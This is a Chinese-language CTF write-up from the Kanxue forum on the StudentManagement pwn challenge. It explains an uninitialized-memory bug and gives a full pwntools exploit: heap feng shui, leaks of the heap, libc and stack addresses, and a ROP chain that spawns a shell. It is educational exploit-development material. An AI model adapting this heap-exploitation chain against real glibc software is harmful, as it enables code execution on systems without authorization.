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第二届软件系统安全赛决赛 StudentManagement 详解

第二届软件系统安全赛决赛 StudentManagement 详解

程序保护如下:

[*'/mnt/hgfs/shared/ccsssc_final/StudentManagement/pwn'Arch:amd64-64-littleRELRO:FullRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled

glibc 版本是 2.39-0ubuntu8.7

比赛的时候脑子有点乱,虽然很快审计出了uninitialized memory漏洞,但是因为题目的\0截断以及非传统堆题的交互,让我不知道怎么处理。

赛后再看,其实这题本质和传统堆题没区别:没有限制用户数量,所以可以创建任意多的堆块且大小基本可控(<0x400)。

程序分析

题目是一个学生管理系统,主菜单只有 3 个功能:

  • Reg
  • Login
  • Del

登录后则有:

  • View
  • EditBio
  • Logout

先贴几个关键逻辑的简化版伪代码,user结构体如下:

structuser{char id[16];char name[64];char pass[32];uint8_t *cont;size_t size;  user *next;};

register

voidregister(){  user *buf; // [rsp+8h] [rbp-8h]  buf = (user *)ialloc(0x88u);if ( buf )  {puts("\n=== Registration ===");printf("ID: ");    buf->id[read(0, buf, 0xFu)] = 0;if ( find(buf->id) )    {puts("[-] ID exists");free(buf);    }else    {printf("Name: ");      buf->name[read(0, buf->name, 0x3Fu)] = 0;printf("Pass: ");      buf->pass[read(0, buf->pass, 0x1Fu)] = 0;      buf->next = userhead;      userhead = buf;    }  }}

这里已经能看到问题了,malloc(0x88) 之后只写了id\name\pass\next,但是cont\size完全没有初始化。

view

voidshow(user *a1){puts("\n=== Profile ===");printf("Name: %s\nID: %s\n", a1->name, a1->id);if ( a1->cont )printf("Bio: %s\n", (constchar *)a1->cont);}

这里更致命,程序只判断了 u->cont != NULL,然后就直接把它当字符串打印。

如果 cont 是个悬空指针,那就是 UAF read

如果 cont 被我们伪造成任意地址,那就是任意地址读

edit bio

unsigned __int64 __fastcall editbio(user *a1){uint8_t *cont; // rbxint v3; // [rsp+14h] [rbp-1Ch] BYREFunsigned __int64 v4; // [rsp+18h] [rbp-18h]  v4 = __readfsqword(0x28u);printf("\nNew bio size: ");  __isoc99_scanf("%d", &v3);getchar();if ( v3 > 0 && v3 <= 0x400 )  {if ( a1->cont && a1->size < v3 )    {free(a1->cont);      a1->cont = (uint8_t *)ialloc(v3);      a1->size = v3;    }elseif ( !a1->cont )    {      a1->cont = (uint8_t *)ialloc(v3);      a1->size = v3;    }printf("Content: ");    cont = a1->cont;    cont[read(0, cont, v3 - 1)] = 0;  }return v4 - __readfsqword(0x28u);}

edit 函数这里

  • 如果 cont 非空且 size >= n,就直接往 cont 写
  • 如果 cont 非空但 size < n,就先 free(cont) 再 malloc(n)

delete

    __isoc99_scanf("%d", &s);    getchar();if ( s == 3 )    {printf("\nID to delete: ");      buf[read(0, buf, 0xFu)] = 0;      p_next = &userhead;      ptr = 0;while ( *p_next )      {if ( !strcmp((*p_next)->id, buf) )        {          ptr = *p_next;          *p_next = ptr->next;if ( ptr->cont )          {            free(ptr->cont);            ptr->cont = 0;          }          free(ptr);printf("[+] Student %s deleted\n", buf);break;        }        p_next = &(*p_next)->next;      }if ( !ptr )        puts("[-] Not found");    }

漏洞利用

Step1 堆风水&泄露堆地址

先说思路,整个堆利用过程如下

  • 先造一个 0x110 的 unsorted chunk
  • 再把这个 unsorted chunk 切成几块 0x70
  • 让切出来的小块进 fastbin
  • 再用一次大申请触发 malloc_consolidate
  • 等这些零散小块重新合并回 unsorted 之后,再去申请 0x90 user

这样 victim 就不会从“被清过 cont 的旧 user chunk”里出来,而是会从 重新合并后的 unsorted 里切出来,之前布好的脏数据也就正好落到了 victim->cont 的位置上。

下面按 exp 的顺序细讲

先用 7 个 filler 把 0x110 档 chunk 填满,再额外做一个 aaa

for i in range(7):reg(f"fil{i}", i, i)login(f"fil{i}", i)edit(b"aaaa"0x100)logout()reg("aaa""aaa""aaa")login("aaa""aaa")edit("aaaa"0x100)logout()

然后放两个占位用户 ph1/ph2

reg("ph1""ph1""ph1")reg("ph2""ph2""ph2")

接着删掉前面 7 个 filler:

for i in range(7):dele(f"fil{i}")

这样:

  • 0x90 tcache
     里是 7 个旧 user chunk
  • 0x110 tcache
     里是 7 个旧 bio chunk

注意这里虽然 0x90 tcache 里有 7 个旧 user,但这些 chunk 不是待会儿的 leak 核心,因为 delete 已经把 cont 清零了。

再把这 7 个 filler 注册回来:

for i in range(7):reg(f"fil{i}", i, i)login(f"fil{i}", i)edit(b"aaaa"0x60)logout()

这里的目的也不是用这些 filler 做 UAF write,而是给它们重新挂上 0x60 的 bio,等会儿删掉时把 0x70 tcache 填满。

也就是说,这 7 次 edit(..., 0x60) 是在准备 0x70 这一档的堆布局:

login("aaa", "aaa")edit("aaaa", 0x108)logout()login("ph1", "ph1")edit("aaaa", 0x68)logout()login("ph2", "ph2")edit("aaaa", 0x68)logout()for i in range(7):dele(f"fil{i}")login("ph1""ph1")edit("aaaa"0x70)logout()login("ph2""ph2")edit("aaaa"0x70)logout()for i in range(7):reg(f"fil{i}", i, i)login("ph2""ph2")edit("aaaa"0x400) # trigger malloc_consolidatelogout()

这一坨看起来乱,其实目的很单纯:

  • aaa
     的 0x100 -> 0x108 会把旧的 0x110 bio 丢进 unsortedbin
  • ph1/ph2
     的两次 0x68 申请,会从这块 unsorted 上切出两个 0x70 chunk
  • 删除 7 个 filler 后,0x70 tcache 被填满
  • 这时 ph1/ph2 再做 0x68 -> 0x70 扩容,旧 0x70 chunk 因为 tcache 已满,不会进 tcache,而是会进 fastbin
  • 重新注册 7 个 filler,则是为了吃光 0x90 tcache 里那些 cont 已被清零的 user chunk
  • 最后 ph2 申请 0x400,触发 malloc_consolidate,前面那两块 fastbin 小块会被重新合并并送回 unsortedbin

这一步就是整个 Step1 的关键,如果不先把 0x90 tcache 清空,后面 victim 注册时拿到的只会是 delete 过、cont == NULL 的旧 user chunk,根本 leak 不出来。

而只要 0x90 tcache 被提前吃光,victim 的 malloc(0x88) 就会转去从刚刚重新合并出来的 unsorted 里切 0x90,这时之前布好的脏数据才会准确落到 victim->cont/size 的偏移上。

等这套风水搭完以后,再注册一个新用户:

reg("victim""vic""vic")login("victim""vic")show()ru("Bio: ")heapbase = uheap() - 0x18d0logout()

此时 victim 不是从旧 user tcache 出来的,而是从重新合并后的 unsorted 上切出来的。

也正因为如此,它的未初始化 cont 字段拿到的不是 NULL,而是我们前面通过切割/合并布好的堆上脏数据。

show() 会直接把对应位置的堆数据吐出来,减掉固定偏移就能拿到 heap base。

接下来的工作就很简单了。

Step2 泄露libc地址

接下来用 ph1 伪造一个 user 对象,先把 libc 基址泄露出来。

所以我可以先把一个 0x90 chunk 当作 ph1 的 bio 拿到手,然后按 user 结构布局往里面写内容。

login("ph1""ph1")payload = flat({0x70:p64(heapbase + 0xf20) + p64(0x100)}, filler = b"\x00")edit(payload, 0x88)logout()

这里写的是 user 的后半段:

+0x70 -> cont = heapbase + 0xf20+0x78 -> size = 0x100

也就是说,等这块 0x90 chunk 以后重新作为 user 被 register 取出来时,这个新用户天然就会变成:

victim->cont = heapbase + 0xf20;victim->size = 0x100;

然后把这块伪造好的 0x90 bio 再 free 回去:

reg("pad", "pad", "pad")login("ph1", "ph1")edit("aaaa", 0x90)logout()

接着注册 vic

reg("vic""vic""vic")login("vic""vic")show()ru("Bio: ")libcbase = uu64() - 0x203b90logout()

vic->cont 已经被我们提前埋成了 heapbase + 0xf20,这里对应位置存的是 unsortedbin 残留指针,所以直接把 libc 地址读了出来。

Step3 泄露栈地址

有了 libc 以后,下一步就是照抄刚才那套“伪造 future user”的打法,把 cont 指到 __environ,把栈地址捞出来。

先把前一个伪造用户和 ph1 清掉,腾出 0x90 bin:

dele("vic")dele("ph1")reg("ph1", "ph1", "ph1")

然后重新用 ph1 申请 0x88 大小 bio,把 future user 的 cont 伪造成 __environ

login("ph1""ph1")payload = flat({0x70:p64(libc.sym["__environ"]) + p64(0x100)}, filler = b"\x00")edit(payload, 0x88)edit("aaaa", 0x90)logout()

再次注册 vic 并查看:

reg("vic""vic""vic")login("vic""vic")show()ru("Bio: ")stack = uu64() - 0x180logout()

这里泄露出来的是 __environ,再减去调试得到的固定偏移,就拿到了这次要写的返回地址位置。

Step4 ret2libc

最后一步就很直白了:继续伪造一个 future user,把它的 cont 直接改成要写的栈地址,然后往上面塞 ROP。

还是老规矩,先找一个用户来拿 0x90 bio:

reg("ph3""ph3""ph3")login("ph3""ph3")payload = flat({0x70:p64(stack) + p64(0x210)}, filler = b"\x00")edit(payload, 0x88)edit("aaaa", 0x90)logout()

这里 future user 的字段变成:

cont = stack;size = 0x210;

构造 ROP链:

rop = ROP(libc)rop.raw(libc.search(asm("ret"), executable=True).__next__())rop.call("system", [libc.search("/bin/sh\x00").__next__()])

最后注册 vic2,登录后把 ROP 直接写进栈里:

reg("vic2", "vic2", "vic2")login("vic2", "vic2")edit(rop.chain(), 0x200)logout()

完整EXP

from pwn import *import structdefdebug(c = 0):if(c):        gdb.attach(p, c)else:        gdb.attach(p)sd = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data: p.sendline(data ifisinstance(data, byteselsestr(data).encode())sla = lambda text,data  :p.sendlineafter(text, data ifisinstance(data, byteselsestr(data).encode())rc   = lambda num=4096   :p.recv(num)ru  = lambda text   :p.recvuntil(text)rl  = lambda 	:p.recvline()pr = lambda num=4096 :print(p.recv(num))ia   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))uheap   = lambda    :u64(p.recv(6).ljust(8,b'\x00'))logaddr = lambda s, n   :p.success('%s -> 0x%x' % (s, n))context(arch = "amd64",os = "linux",log_level = "debug")context.terminal = ['gnome-terminal''-x''sh''-c']file = "./pwn"libc = "./libc.so.6"context.binary = elf = ELF("./pwn")context.arch = "amd64"context.log_level = "debug"if args.D else"info"p = process(file)elf = ELF(file, False)libc = ELF(libc, False)defreg(id,name,pwd):    sla("> "1)    sla("ID: "id)    sla("Name:", name)    sla("Pass: ", pwd)deflogin(id, pwd):    sla("> "2)    sla("ID: "id)    sla("Pass: ", pwd)defdele(id):    sla("> "3)    sla("ID to delete: "id)defshow():    sla("> "1)defedit(cont, size):    sla("> "2)    sla("size: ", size)    sa("Content: ", cont)deflogout():    sla("> "0)for i inrange(7):    reg(f"fil{i}", i, i)    login(f"fil{i}", i)    edit(b"aaaa"0x100)    logout()reg("aaa""aaa""aaa")login("aaa""aaa")edit("aaaa"0x100)logout()# palceholderreg("ph1""ph1""ph1")reg("ph2""ph2""ph2")for i inrange(7):    dele(f"fil{i}")for i inrange(7):    reg(f"fil{i}", i, i)    login(f"fil{i}", i)    edit(b"aaaa"0x60)    logout()login("aaa""aaa")edit("aaaa"0x108)logout()login("ph1""ph1")edit("aaaa"0x68)logout()login("ph2""ph2")edit("aaaa"0x68)logout()for i inrange(7):    dele(f"fil{i}")# carve unsortedbin, make chunk metadata into uninitialized memorylogin("ph1""ph1")edit("aaaa"0x70)logout()login("ph2""ph2")edit("aaaa"0x70)logout()for i inrange(7):    reg(f"fil{i}", i, i)login("ph2""ph2")edit("aaaa"0x400# trigger malloc_consolidatelogout()# pwn!reg(f"victim""vic""vic")login("victim""vic")show()ru("Bio: ")heapbase = uheap() - 0x18d0logout()login("ph1""ph1")payload = flat({0x70:p64(heapbase + 0xf20) + p64(0x100)}, filler = b"\x00")edit(payload, 0x88)logout()reg("pad""pad""pad")login("ph1""ph1")edit("aaaa"0x90)logout()reg("vic""vic""vic")login("vic""vic")show()ru("Bio: ")libcbase = uu64() - 0x203b90logout()logaddr("libcbase", libcbase)logaddr("heapbase", heapbase)libc.address = libcbasedele("vic")dele("ph1")reg("ph1""ph1""ph1")login("ph1""ph1")payload = flat({0x70:p64(libc.sym["__environ"]) + p64(0x100)}, filler = b"\x00")edit(payload, 0x88)edit("aaaa"0x90)logout()reg("vic""vic""vic")login("vic""vic")show()ru("Bio: ")stack = uu64() - 0x180logout()reg("ph3""ph3""ph3")login("ph3""ph3")payload = flat({0x70:p64(stack) + p64(0x210)}, filler = b"\x00")edit(payload, 0x88)edit("aaaa"0x90)logout()#debug("b *$rebase(0x183C)")#pause()rop = ROP(libc)rop.raw(libc.search(asm("ret"), executable=True).__next__())rop.call("system", [libc.search("/bin/sh\x00").__next__()])reg("vic2""vic2""vic2")login("vic2""vic2")edit(rop.chain(), 0x200)logout()ia()

Fixup

这里我的修补方式是在自实现的内存分配那里,将分配后的内存用memset置零,避免脏数据利用。

看雪ID:S1nyer

https://bbs.kanxue.com/user-home-977553.htm

*本文为看雪论坛优秀文章,由 S1nyer原创,转载请注明来自看雪社区
第十届安全开发者峰会【议题征集】-欢迎投稿

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  1. CONNECT:[ UseTime:0.000705s ] mysql:host=127.0.0.1;port=3306;dbname=wenku;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.001136s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000382s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000293s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000718s ]
  6. SELECT * FROM `set` [ RunTime:0.000260s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000810s ]
  8. SELECT * FROM `article` WHERE `id` = 854833 LIMIT 1 [ RunTime:0.001996s ]
  9. UPDATE `article` SET `lasttime` = 1783767490 WHERE `id` = 854833 [ RunTime:0.013659s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.006913s ]
  11. SELECT * FROM `article` WHERE `id` < 854833 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000796s ]
  12. SELECT * FROM `article` WHERE `id` > 854833 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000532s ]
  13. SELECT * FROM `article` WHERE `id` < 854833 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.007057s ]
  14. SELECT * FROM `article` WHERE `id` < 854833 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.001685s ]
  15. SELECT * FROM `article` WHERE `id` < 854833 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.000776s ]
0.140037s